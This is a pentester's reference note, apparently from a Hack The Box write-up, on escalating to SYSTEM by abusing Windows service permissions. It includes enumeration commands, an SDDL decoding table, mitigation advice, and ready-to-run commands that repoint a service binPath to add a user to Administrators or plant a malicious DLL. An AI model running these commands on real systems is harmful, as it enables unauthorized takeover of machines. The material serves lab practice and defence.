đź§  Windows - Service Permission Abuse

What is it?

  • Concept: A Windows service that runs as a privileged account (usually LocalSystem) can be turned into privilege escalation if you can influence what it executes — by modifying its binary/DLL, reconfiguring its binPath, or restarting it. The decisive question is which of those rights your identity actually holds.
  • Impact: Code execution as the service account → SYSTEM.

How it works

  1. Find privileged services and where their binaries live.
  2. Work out what you can change — write to the binary/its directory? reconfigure it? start/stop it? The service’s own DACL decides this.
  3. Pick the technique the rights allow (reconfigure binPath, replace binary / DLL hijack, or — if you can’t restart it — abuse an already-running privileged service at the app layer, e.g. MySQL - UDF Hijacking).

Exploitation

Prerequisites

  • A shell as any user on the box
  • A service running as LocalSystem/privileged that you can modify or restart

Attack Vectors

1. Find privileged services + their binaries

sc qc <svc>                              # SERVICE_START_NAME (LocalSystem?), BINARY_PATH_NAME
Get-CimInstance win32_service | ? {$_.StartName -eq 'LocalSystem'} | select Name,PathName

2. Can I write to the binary or its directory?

icacls "C:\path\to\service\dir"          # look for (M)/(F), and (OI)(CI) inheritance

3. What rights do I have ON THE SERVICE itself (start/stop/reconfigure)?

sc sdshow <svc>                          # dumps the service DACL as SDDL (decode below)
accesschk.exe -uwcqv <user> <svc>        # friendlier equivalent (Sysinternals)

4a. Reconfigure binPath (needs DC + start/stop)

sc config <svc> binpath= "C:\Windows\System32\cmd.exe /c net localgroup administrators <user> /add"
sc stop <svc> & sc start <svc>

4b. Binary replace / DLL hijack (needs write to binary/dir + ability to restart)

copy evil.dll "C:\service\dir\<name-on-search-path>.dll"
sc stop <svc> & sc start <svc>

Reading sc sdshow (SDDL)

ACEs look like (A;;RPWPCR;;;SY) = Allow the rights RPWPCR to SID SY. Check whether your identity has RP/WP (start/stop) and DC (reconfigure).

Common SID abbreviations

SIDIdentity
SYLocal System
BABuilt-in Administrators
IUInteractive Users (anyone logged on at the desktop)
SUService logon users
AUAuthenticated Users
BUBuilt-in Users
WDEveryone

Service-specific access codes

CodeRight
CCQuery the service’s configuration
DCChange the service’s configuration
LCQuery the service’s status
SWList dependent services
RPStart the service
WPStop the service
DTPause / continue
LOInterrogate (report status now)
CRSend a user-defined control
SDDelete the service
RCRead the security descriptor
WDChange permissions (write DACL)
WOTake ownership

Notes

  • If you can’t start/stop the service (e.g. you’re only IU with no RP/WP), DLL-hijack and binary-replace are dead until a reboot — don’t force it. Pivot to an already-running privileged service you can drive at the app layer instead, such as a MySQL service running as LocalSystem (MySQL - UDF Hijacking). This was the Touch path.
  • Automate the triage with PowerUp (Invoke-AllChecks), WinPEAS, or accesschk — but confirm by hand with sc qc / sc sdshow / icacls.
  • Also watch for unquoted service paths and writable auto-start binaries as adjacent variants of the same class.

Mitigation

  • Fix: Run services as least-privilege accounts; tighten directory/binary ACLs; never grant non-admins SERVICE_CHANGE_CONFIG/START/STOP; quote all service paths.
FileCreated
HTB Machine - TouchOctober 07, 2026

References: